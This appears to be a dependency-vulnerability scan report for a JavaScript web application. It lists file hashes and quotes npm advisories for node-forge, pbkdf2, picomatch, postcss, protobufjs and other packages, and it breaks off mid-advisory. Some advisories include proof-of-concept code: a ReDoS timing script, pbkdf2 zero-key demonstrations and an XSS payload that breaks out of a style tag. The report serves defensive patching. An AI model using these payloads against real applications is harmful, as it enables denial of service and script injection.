An Integer Overflow (CWE-190) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions.
### Description
An ASN.1 OID Integer Truncation vulnerability exists in the node-forge `asn1.derToOid` function within `forge/lib/asn1.js`. OID components are decoded using JavaScript's bitwise left-shift operator (`<<`), which forcibly casts values to 32-bit signed integers. Consequently, if an attacker provides a mathematically unique, very large OID arc integer exceeding $2^{31}-1$, the value silently overflows and wraps around rather than throwing an error.
### Impact
This vulnerability allows a specially crafted ASN.1 object to spoof an OID, where a malicious certificate with a massive, invalid OID is misinterpreted by the library as a trusted, standard OID, potentially bypassing security controls.
This vulnerability impacts the `asn1.derToOid` function in `node-forge` before patched version `1.3.2`.
Any downstream application using this component is impacted. This component may be leveraged by downstream applications in ways that enables partial compromise of integrity, leading to potential availability and confidentiality compromises.
CWE-190 Integer Overflow or WraparoundVulnerable Software & Versions (NPM):
File Path: /github/workspace/src/utils/notEmptyString.js
MD5: 3035905341c62c5c88f6ac7f5949907e
SHA1: c4b2a05fb0382ee70e63dbd82b09fc4a676c047a
SHA256:06f7fdfd499c8075a3bd5574f01c7f343011c4d54deea27a5698e0798a6c0ab1
File Path: /github/workspace/src/utils/notificationSound.js
MD5: 1f05b013a25edbfc73fcf650c4237829
SHA1: 6b3eb7e8a076d15332cf5cfb6808252f760dd49d
SHA256:6093808edba60ddf1cc13b6552f38d44794a95ade902b2dab1b68d78a6645e53
File Path: /github/workspace/src/components/common/notification-widget/notificationWidgetTabs.js
MD5: 1f5a66dc2effdf0686a63a699a36bfe5
SHA1: 385489cdf9920d61c5ae488ee074bf09f091f27b
SHA256:abf6b28b057aba00c55e9078c7506d2c95fd85271486959340b0e574d3190140
File Path: /github/workspace/src/redux/reducer/notificationsReducer.js
MD5: 2b9d960eff5c3f9138692d98aa635571
SHA1: 97d06a7d8e2b9887ef23dab86ec01bf37735a2fb
SHA256:39096fcb96e223f215ef9059bbad13568720962ddebf0978cb443e11f969c0ea
File Path: /github/workspace/src/redux/services/notificationsService.js
MD5: c38fe0c4edd05536e16528c5893b00ce
SHA1: 6ac7821cf92a71e4f1c76dfe7eeffc6e19a420e8
SHA256:07f96c98a4bde6b3b619225d9e9e629de76ca1db1ef62149c985c4cb93c512a8
File Path: /github/workspace/src/utils/notificationsUtils.js
MD5: 89f0990a21cf70aaa29895669e7ec32f
SHA1: d429d0d33761ed6d34c9299aa7bf6e3819f406c7
SHA256:4339928e05d8fc7cf77eb2ee283310c21757b5ec7ea2d007dbe6ef4b5d40e285
File Path: /github/workspace/src/redux/reducer/notificationsWidgetReducer.js
MD5: 5edec874be2f2779c3ea4c8e5cdab6c8
SHA1: c107e62379c0a7ddc5825e898ea4df6f1f9d741a
SHA256:ec89dc20c6a5388f5a46ce9a876927a1034516d4fa9a32fb7062c181b8cc3537
File Path: /github/workspace/src/redux/services/notificationsWidgetService.js
MD5: 4753a6b9c2dd54e91c6d766d86d4e37e
SHA1: 13252c14bbc99f7712d86001b342ea2dd44b0ef4
SHA256:034b53464843ee104799144de676a129f73602587d8467b1c25f8f1908ccad3e
File Path: /github/workspace/package-lock.json?nth-check
Referenced In Project/Scope: package-lock.json: transitive
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\s*(?:([+-]?)\s*(\d+))?` with quantified overlapping adjacency and can be exploited with the following code.
**Proof of Concept**
```js
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
```
**The Output**
```
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
```
CWE-1333 Inefficient Regular Expression ComplexityVulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?on-headers
Referenced In Project/Scope: package-lock.json: transitive
### Impact A bug in on-headers versions `< 1.1.0` may result in response headers being inadvertently modified when an array is passed to `response.writeHead()` ### Patches Users should upgrade to `1.1.0` ### Workarounds Uses are encouraged to upgrade to `1.1.0`, but this issue can be worked around by passing an object to `response.writeHead()` rather than an array.CWE-241 Improper Handling of Unexpected Data Type
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?path-to-regexp
Referenced In Project/Scope: package-lock.json: transitive
### Impact A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (`.`). For example, `/:a-:b-:c` or `/:a-:b-:c-:d`. The backtrack protection added in `path-to-regexp@0.1.12` only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking. ### Patches Upgrade to [path-to-regexp@0.1.13](https://github.com/pillarjs/path-to-regexp/releases/tag/v.0.1.13) Custom regex patterns in route definitions (e.g., `/:a-:b([^-/]+)-:c([^-/]+)`) are not affected because they override the default capture group. ### Workarounds All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `/:a-:b-:c` to `/:a-:b([^-/]+)-:c([^-/]+)`. If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. ### References - [GHSA-9wv6-86v2-598j](https://github.com/advisories/GHSA-9wv6-86v2-598j) - [Detailed blog post: ReDoS the web](https://blakeembrey.com/posts/2024-09-web-redos/)CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
### Impact The regular expression that is vulnerable to backtracking can be generated in versions before 0.1.12 of `path-to-regexp`, originally reported in CVE-2024-45296 ### Patches Upgrade to 0.1.12. ### Workarounds Avoid using two parameters within a single path segment, when the separator is not `.` (e.g. no `/:a-:b`). Alternatively, you can define the regex used for both parameters and ensure they do not overlap to allow backtracking. ### References - https://github.com/advisories/GHSA-9wv6-86v2-598j - https://blakeembrey.com/posts/2024-09-web-redos/CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/redux/reducer/patientHomeReducer.js
MD5: a5a984faf8688983a631d07cb92dd771
SHA1: 0290e5a06da23427b2747b5c4eb21426dc167d72
SHA256:f07dcc1265bebaad321cc374c15c105425f2d58b6d4f21ab917e1afcccb570f2
File Path: /github/workspace/src/redux/services/patientHomeService.js
MD5: ae3c96171f0c594c256e5cd830124080
SHA1: f430b7b9559b9e1e032db98add01c62ac09f6d7b
SHA256:0b37a85ac062b0436ba80c0cae85a9a69efc3acb274d5ccaffc5e4df67abe3e8
File Path: /github/workspace/src/app/routes/patientRoutes.js
MD5: 6a230e2d63cb71e7ae677cdc4f646d41
SHA1: 59361fdd05b709d77e26809dd415183c1530e103
SHA256:dc9de0dcb6ac4552771bb39e637d1e6dd4df2bf2007b15626638acc4290a8753
File Path: /github/workspace/src/utils/sidebarUtils/patientSettingsSidebarUtils.js
MD5: e8c906eef20f25f490ac17accf3a7f5c
SHA1: e8a8bd75bb892a4b4d2be6b99a6127bf9368ac64
SHA256:05b84098d4371f936cc7280639b0ed1a4ce6c9cff97e94fc122dbf0dd594b20d
File Path: /github/workspace/src/utils/sidebarUtils/patientSidebarUtils.js
MD5: 7966a22a071a06d2a22ce010f41003cd
SHA1: c21a24f531cefc3ec1aac6c03bc0761544f54fee
SHA256:b9b5c237e72a898d19ead549b2a710d4bff93cab43a2d2ffe1a957fdc1ea8724
File Path: /github/workspace/src/redux/reducer/patientsReducer.js
MD5: 2ae646b582442f8a1dc4213005925ee4
SHA1: bf0cc73117ae401d20c01b38ea974baaa026f95c
SHA256:7f1974f1dad362f167dfbae8a66700d38f3fe36ba409369ab7be538e16e1c982
File Path: /github/workspace/src/redux/services/patientsService.js
MD5: 58ebf4c8dbbf3c8728fc23d88c51fbfb
SHA1: 6b422a0321133f93b977b71849280fe86d45b9a5
SHA256:ec614fd4739b7dd63f3cdfda080a97cfdac75686ba6c742f4d970f2fcab66d17
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/patients/patientsTabs.js
MD5: 4bc7cfbdb045d8c9b879a38e0aa4d7d8
SHA1: 9dc5aa64b08179f1e49c55ca9a6d6ea4fa83e630
SHA256:d093a25e5cb892298e15e4de10c37e6ffe41a0f0f2e71fc847b47d7a05d11eaf
File Path: /github/workspace/package-lock.json?pbkdf2
Referenced In Project/Scope: package-lock.json: transitive
### Summary
This affects both:
1. Unsupported algos (e.g. `sha3-256` / `sha3-512` / `sha512-256`)
2. Supported but non-normalized algos (e.g. `Sha256` / `Sha512` / `SHA1` / `sha-1` / `sha-256` / `sha-512`)
All of those work correctly in Node.js, but this polyfill silently returns highly predictable ouput
Under Node.js (only with `pbkdf2/browser` import, unlikely) / Bun (`pbkdf2` top-level import is affected), the memory is not zero-filled but is uninitialized, as `Buffer.allocUnsafe` is used
Under browsers, it just returns zero-filled buffers
(Which is also critical, those are completely unacceptable as kdf output and ruin security)
### Were you affected?
The full list of arguments that were **not** affected were literal:
* `'md5'`
* `'sha1'`
* `'sha224'`
* `'sha256'`
* `'sha384'`
* `'sha512'`
* `'rmd160'`
* `'ripemd160'`
Any other arguments, e.g. representation variations of the above ones like `'SHA-1'`/`'sha-256'`/`'SHA512'` or different algos like `'sha3-512'`/`'blake2b512'`, while supported on Node.js `crypto` module, returned predictable output on `pbkdf2` (or `crypto` browser/bundlers polyfill)
---
Beware of packages re-exporting this under a different signature, like (abstract):
```js
const crypto = require('crypto')
module.exports.deriveKey = (algo, pass, salt) => crypto.pbkdf2Sync(pass, salt, 2048, 64, algo)
```
In this case, the resulting `deriveKey` method is also affected (to the same extent / conditions as listed here).
### Environments
This affects `require('crypto')` in polyfilled mode (e.g. from `crypto-browserify`, `node-libs-browser`, `vite-plugin-node-polyfills`, `node-stdlib-browser`, etc. -- basically everything that bundles/polfyills `crypto`
* In bundled code (e.g. Webpack / Vite / whatever), this affects `require('crypto')` and `require('pbkdf2')`
* On Node.js, this does not affect `require('pbkdf2')` (or `require('crypto')` obviously), but affects `require('pbkdf2/browser')`
* On Bun, this _does_ affect `require('pbkdf2')` _and_ `require('pbkdf2/browser')` (and returns uninitialized memory, often zeros / sparse flipped bytes)
### PoC
```js
const node = require('crypto')
const polyfill = require('pbkdf2/browser')
const algos = [
'sha3-512', 'sha3-256', 'SHA3-384',
'Sha256', 'Sha512', 'sha512-256',
'SHA1', 'sha-1',
'blake2b512',
'RMD160', 'RIPEMD-160', 'ripemd-160',
]
for (const algo of algos) {
for (const { pbkdf2Sync } of [node, polyfill]) {
const key = pbkdf2Sync('secret', 'salt', 100000, 64, algo)
console.log(`${algo}: ${key.toString('hex')}`);
}
}
```
Output (odd lines are Node.js, even is `pbkdf2` module / polyfill):
```
sha3-512: de00370414a3251d6d620dc8f7c371644e5d7f365ab23b116298a23fa4077b39deab802dd61714847a5c7e9981704ffe009aee5bb40f6f0103fc60f3d4cedfb0
sha3-512: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
sha3-256: 76bf06909b91e4c968700078ee36af92019d0839ab1fea2f345c6c8685074ca0179302633fbd84d22cff4f8744952b2d07edbfc9658e95d30fb4e93ee067c7c9
sha3-256: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
SHA3-384: 2b2b41b73f9b7bcd023f709ea84ba3c29a88edc311b737856ba9e74a2d9a928f233eb8cb404a9ba93c276edf6380c692140024a0bc12b75bfa38626207915e01
SHA3-384: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Sha256: 3fa094211c0cf2ed1d332ab43adc69aab469f0e0f2cae6345c81bb874eef3f9eb2c629052ec272ca49c2ee95b33e7ba6377b2317cd0dacce92c4748d3c7a45f0
Sha256: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Sha512: 3745e482c6e0ade35da10139e797157f4a5da669dad7d5da88ef87e47471cc47ed941c7ad618e827304f083f8707f12b7cfdd5f489b782f10cc269e3c08d59ae
Sha512: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
sha512-256: e423f61987413121418715d0ebf64cb646042ae9a09fe4fd2c764a4f186ba28cf70823fdc2b03dda67a0d977c6f0a0612e5ed74a11e6f32b033cb658fa9f270d
sha512-256: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
SHA1: 0e24bc5a548b236e3eb3b22317ef805664a88747c725cd35bfb0db0e4ae5539e3ed5cd5ba8c0ac018deb6518059788c8fffbe624f614fbbe62ba6a6e174e4a72
SHA1: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
sha-1: 0e24bc5a548b236e3eb3b22317ef805664a88747c725cd35bfb0db0e4ae5539e3ed5cd5ba8c0ac018deb6518059788c8fffbe624f614fbbe62ba6a6e174e4a72
sha-1: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
blake2b512: d3d661100c5ffb79bdf3b5c77d1698e621414cba40e2348bd3f1b10fbd2fe97bff4dc7d76474955bfefa61179f2a37e9dddedced0e7e79ef9d8c678080d45926
blake2b512: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
RMD160: ec65dbad1485616cf0426725d64e009ad3e1633543746ccb56b7f06eb7ce51d0249aaef27c879f32911a7c0accdc83389c2948ddec439114f6165366f9b4cca2
RMD160: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
RIPEMD-160: ec65dbad1485616cf0426725d64e009ad3e1633543746ccb56b7f06eb7ce51d0249aaef27c879f32911a7c0accdc83389c2948ddec439114f6165366f9b4cca2
RIPEMD-160: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
ripemd-160: ec65dbad1485616cf0426725d64e009ad3e1633543746ccb56b7f06eb7ce51d0249aaef27c879f32911a7c0accdc83389c2948ddec439114f6165366f9b4cca2
ripemd-160: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
```
#### Uninitialized memory
```js
const { pbkdf2Sync } = require('pbkdf2/browser') // or just 'pbkdf2' on Bun will do this too
let prev
for (let i = 0; i < 100000; i++) {
const key = pbkdf2Sync('secret', 'salt', 100000, 64, 'sha3-256')
const hex = key.toString('hex')
if (hex !== prev) console.log(hex);
prev = hex
}
```
### Affected versions
Seems to be since https://github.com/browserify/pbkdf2/commit/9699045c37a07f8319cfb8d44e2ff4252d7a7078
### Impact
This is critical, browserifying code might silently generate zero-filled keys instead of proper ones, for code that was working on Node.js or in test environment
Just updating to a fixed version is not enough: if anyone was using `pbkdf2` lib (e.g. via `crypto-browserify` or directly) on algos not from the literal string list (see "were you affected"), recheck where those keys went / how they were used, and take action accordingly
### Note
Most likely, you receive this either through a subdep using `pbkdf2` module directly (and then it is used), or through `crypto-browserify` (and the usage depends on whether you or any of your subdeps were calling `pbkdf2/pbkdf2Sync` methods from Node.js crypto inside your bundle)
When targeting non-Node.js, prever avoiding Node.js crypto polyfill at all, and use `crypto.subtle` and/or modern/audited cryptography primitives instead
CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
### Summary
On historic but declared as supported Node.js versions (0.12-2.x), pbkdf2 silently disregards Uint8Array input
This only affects Node.js <3.0.0, but `pbkdf2` claims to:
* Support Node.js [>= 0.12](https://github.com/browserify/pbkdf2/blob/v3.1.2/package.json#L62) (and there seems to be ongoing effort in this repo to maintain that)
* Support `Uint8Array` input (input is typechecked against Uint8Array, and the error message includes e.g. "Password must be a string, a Buffer, a typed array or a DataView"
### Details
The error is in `toBuffer` method
This vulnerability somehow even made it to tests: https://github.com/browserify/pbkdf2/commit/eb9f97a66ed83836bebc4ff563a1588248708501
There, `resultsOld` (where mismatch `results`) are just invalid output generated from empty password/salt instead of the supplied one
### PoC
On Node.js/io.js < 3.0.0
```console
> require('pbkdf2').pbkdf2Sync(new Uint8Array([1,2,3]), new Uint8Array([1,3,4]), 1024, 32, 'sha256')
<Buffer 21 53 cd 5b a5 f0 15 39 2f 68 e2 40 8b 21 ba ca 0e dc 7b 20 d5 45 a4 8a ea b5 95 9f f0 be bf 66>
// But that's just a hash of empty data with empty password:
> require('pbkdf2').pbkdf2Sync('', '', 1024, 32, 'sha256')
<Buffer 21 53 cd 5b a5 f0 15 39 2f 68 e2 40 8b 21 ba ca 0e dc 7b 20 d5 45 a4 8a ea b5 95 9f f0 be bf 66>
// Node.js crypto is fine even on that version:
> require('crypto').pbkdf2Sync(new Uint8Array([1,2,3]), new Uint8Array([1,3,4]), 1024, 32, 'sha256')
<Buffer 78 10 cc 84 b7 bb 85 cd c8 37 ca 68 da a9 4c 33 db ae c2 3d 5b d4 95 76 da 33 f9 95 ac 51 f4 45>
// Empty hash from Node.js, for comparison
> require('crypto').pbkdf2Sync('', '', 1024, 32, 'sha256')
<Buffer 21 53 cd 5b a5 f0 15 39 2f 68 e2 40 8b 21 ba ca 0e dc 7b 20 d5 45 a4 8a ea b5 95 9f f0 be bf 66>
```
### Impact
Static hashes being outputted and used as keys/passwords can completely undermine security
That said, no one should be using those Node.js versions anywhere now, so I would recommend to just drop them
This lib should not pretend to work on those versions while outputting static data though
Just updating to a fixed version is not enough: if anyone was using `pbkdf2` lib (do not confuse with Node.js `crypto.pbkdf2`) or anything depending on it with Node.js/io.js < 3.0.0, recheck where those keys went / how they were used, and take action accordingly
CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
File Path: /github/workspace/src/assets/svg/phase2Icons.js
MD5: d258acbb6ff15c991812ac0979bae0b0
SHA1: c68323ddc2404d449ef85f0daddefda308a91292
SHA256:d6bcc871f10955a1a054dd3f57c9350ffb5c2bf3ebb43b773ef5c6ab0a1a0eba
File Path: /github/workspace/src/app/routes/physicianRoutes.js
MD5: e3c175fb2a9c58b550262bd656857839
SHA1: 58d36438fdf6bc221c514730f32c10c2d0865dbd
SHA256:f29b56009855b1ccb012ac3f9350126801d8ef2ca5f39cccf42386c22fcf0a0a
File Path: /github/workspace/src/utils/sidebarUtils/physicianSettingsSidebarUtils.js
MD5: d2dec7d02a66a50a1efd33f207b05da9
SHA1: b145c6861fd257941335c4d87a6cbda6e4561047
SHA256:8843f57b8b2977c92c26936d558ddc402a2a489a658837657b66b0970c3132a8
File Path: /github/workspace/src/utils/sidebarUtils/physicianSidebarUtils.js
MD5: fff76e6a4e61d296444ba5138b0730fb
SHA1: b3bd5e9ce72d610263710091f690cfcd91d3053d
SHA256:42dbc47b388121e99c593ddd830fcad865f005fb3427b8dcb6071920869dbee0
File Path: /github/workspace/src/redux/reducer/physiciansReducer.js
MD5: 66e60b028b405e2666a78ce3c9bb4b19
SHA1: c0d12a409f511108cbf7777f61109da08e398720
SHA256:264dee5bb007efc1a5846f016c3084b46e28dbca7c89d5d95e655addb8d329a5
File Path: /github/workspace/src/redux/services/physiciansService.js
MD5: d17a91324464e1678746972f8255cbbe
SHA1: 6f53a103099e4f817a1eefc323abce923895e7fa
SHA256:11f3428a4a54e3872ec4d6acda1f7ffee14787c908ce7c868a5aa17d531f0bd1
File Path: /github/workspace/package-lock.json?picomatch
Referenced In Project/Scope: package-lock.json: transitive
### Impact `picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Examples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. ### Patches This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. ### Workarounds If upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`. Possible mitigations include: - disable extglob support for untrusted patterns by using `noextglob: true` - reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()` - enforce strict allowlists for accepted pattern syntax - run matching in an isolated worker or separate process with time and resource limits - apply application-level request throttling and input validation for any endpoint that accepts glob patterns ### Resources - Picomatch repository: https://github.com/micromatch/picomatch - `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms - Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`) - Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
### Impact
picomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.
This leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.
### Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
### Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.
- Avoiding the use of POSIX bracket expressions if user input is involved.
- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:
```js
const POSIX_REGEX_SOURCE = {
__proto__: null,
alnum: 'a-zA-Z0-9',
alpha: 'a-zA-Z',
// ... rest unchanged
};
### Resources
- fix for similar issue: https://github.com/micromatch/picomatch/pull/144
- picomatch repository https://github.com/micromatch/picomatch
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?postcss
Referenced In Project/Scope: package-lock.json: transitive
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\r` discrepancies, as demonstrated by `@font-face{ font:(\r/*);}` in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), CWE-144 Improper Neutralization of Line DelimitersVulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?postcss
Referenced In Project/Scope: package-lock.json: transitive
# PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output
## Summary
PostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS.
## Proof of Concept
```javascript
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
```
**Tested output** (Node.js v22, postcss v8.5.5):
```
Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true
```
## Impact
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
## Suggested Fix
Escape `</style` in all stringified output values:
```javascript
output = output.replace(/<\/(style)/gi, '<\\/$1');
```
## Credits
Discovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/components/common/cloud/Modals/PreviewModal/previewZoomConstants.js
MD5: eeb228b41ca836334b82703b01970c2a
SHA1: c15399c3d3dbf4d9eb66bb5d9ac71a7b866290df
SHA256:4a143335229782e2c5c188b4247a33f0743860b7a8f0fcd17ca78591b017c876
File Path: /github/workspace/src/redux/reducer/professionalInfoReducer.js
MD5: 7d4aebe8af2b1ac4a7a9bbcbdac8ddbd
SHA1: 71a705b856f91e824ce6c647dbabf83e7916f766
SHA256:c786b9b81a53cb77169c3a74ba2b0ac8b7424a6d0c13a9c34cbed5dc87e60a47
File Path: /github/workspace/src/redux/services/professionalInfoService.js
MD5: 8831ad06f3a6a4414bf958e60e81044b
SHA1: 2814ac0e60a61242f0ada165e32c7c781173d79a
SHA256:b68ab9cf8b8bd772f6f31d3babd3431f0b5d6760bffd6693724f5e121fe59a31
File Path: /github/workspace/src/redux/reducer/profileInfoReducer.js
MD5: 70f091e7f826bbea9959fcc7e55fc91d
SHA1: 6d879dd63ff09b1ec2e18a3b82c899a675c1857a
SHA256:90506fc2f14ac63ed8abf4a5e4ff14d757d4d47599abc3bb7d358e4f73cd29a7
File Path: /github/workspace/src/redux/services/profileInfoService.js
MD5: f9da46347af8a6ff22199eb236a5c643
SHA1: 2c6141f6a758b64313e8ccb0c8e76ad4b0492c03
SHA256:41709119d167d517ef8db4aceb55ab2ed74ded2ee086e49620f848e34dd8075d
File Path: /github/workspace/package-lock.json?protobufjs
Referenced In Project/Scope: package-lock.json: transitive
## Summary protobufjs could execute generated JavaScript code derived from protobuf schema metadata. When loading a crafted JSON descriptor, schema-controlled type names and type references could reach runtime code generation without sufficient validation. ## Impact An attacker who can provide a malicious protobuf definition or JSON descriptor to an application may be able to execute arbitrary JavaScript in the context of the process using protobufjs. This requires control over the protobuf schema or descriptor being loaded. Applications that only decode messages using trusted, application-defined schemas are not directly affected by this issue. ## Preconditions - The application must allow an attacker to control or influence a protobuf definition or JSON descriptor. - The application must load that definition through protobufjs reflection APIs such as descriptor loading. - The affected generated-code path must be reached, for example by performing an operation on the loaded type. ## Workarounds Do not load protobuf definitions or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict them before loading and run schema processing in an isolated environment.CWE-94 Improper Control of Generation of Code ('Code Injection')
Vulnerable Software & Versions (NPM):
## Summary protobufjs used plain objects with inherited prototypes for internal type lookup tables used by generated encode and decode functions. If `Object.prototype` had already been polluted, those lookup tables could resolve attacker-controlled inherited properties as valid protobuf type information. This could cause attacker-controlled strings to be emitted into generated JavaScript code. ## Impact An attacker who can first trigger a prototype pollution vulnerability may be able to influence generated protobufjs encode or decode functions in a way that can lead to arbitrary JavaScript execution. This issue requires a separate prototype pollution primitive before protobufjs is invoked. Applications without a reachable prototype pollution primitive are not directly exploitable through this issue alone. ## Preconditions - The application or one of its dependencies must allow an attacker to pollute `Object.prototype`. - The polluted property must affect protobufjs internal type lookup behavior. - The application must use protobufjs functionality that generates encode or decode code for affected types. - The generated code path must be reached after the prototype pollution has occurred. ## Workarounds Avoid running affected versions in applications where attacker-controlled input can pollute `Object.prototype`. If immediate upgrade is not possible, remove or mitigate reachable prototype pollution primitives and isolate schema/message processing from untrusted application state.CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), CWE-94 Improper Control of Generation of Code ('Code Injection')
Vulnerable Software & Versions (NPM):
## Summary protobufjs could recurse without a depth limit while decoding nested protobuf data. This affected both skipping unknown group fields and generated decoding of nested message fields. A crafted protobuf binary payload could cause the JavaScript call stack to be exhausted during decoding. ## Impact An attacker who can provide protobuf binary data decoded by an application may be able to crash the process or otherwise cause decoding to fail with a stack overflow. This affects applications that decode untrusted protobuf binary input with affected versions. ## Preconditions - The application must decode protobuf binary data influenced by an attacker. - The crafted input must contain deeply nested protobuf structures, such as nested group tags or nested message fields. - The affected decoder path must process the crafted input. ## Workarounds Avoid decoding untrusted protobuf binary data with affected versions. If immediate upgrade is not possible, reject excessively nested messages at an outer protocol boundary where feasible, or isolate protobuf decoding in a process that can be safely restarted.CWE-674 Uncontrolled Recursion
Vulnerable Software & Versions (NPM):
## Summary protobufjs allowed certain schema option paths to traverse through inherited object properties while applying options. A crafted protobuf schema or JSON descriptor could cause option handling to write to properties on global JavaScript constructors, corrupting process-wide built-in functionality. ## Impact An attacker who can provide or influence protobuf schemas or JSON descriptors may be able to corrupt built-in process state in a way that causes subsequent application code or protobufjs code to fail. This can result in a persistent denial of service for the lifetime of the affected process. This issue affects applications that parse or load protobuf schemas or descriptors from untrusted sources. Applications that use bundled, generated, or otherwise trusted schemas to decode untrusted protobuf message payloads are not directly affected. The issue is not known to allow code execution by itself. ## Preconditions - The application must allow an attacker to control or influence a protobuf schema or JSON descriptor. - The application must parse or load that schema through protobufjs reflection APIs such as `parse`, `Root.load`, `Root.loadSync`, or `Root.fromJSON`. - The crafted input must contain option paths that reach unsafe inherited properties during option processing. ## Workarounds Do not parse or load protobuf schemas or JSON 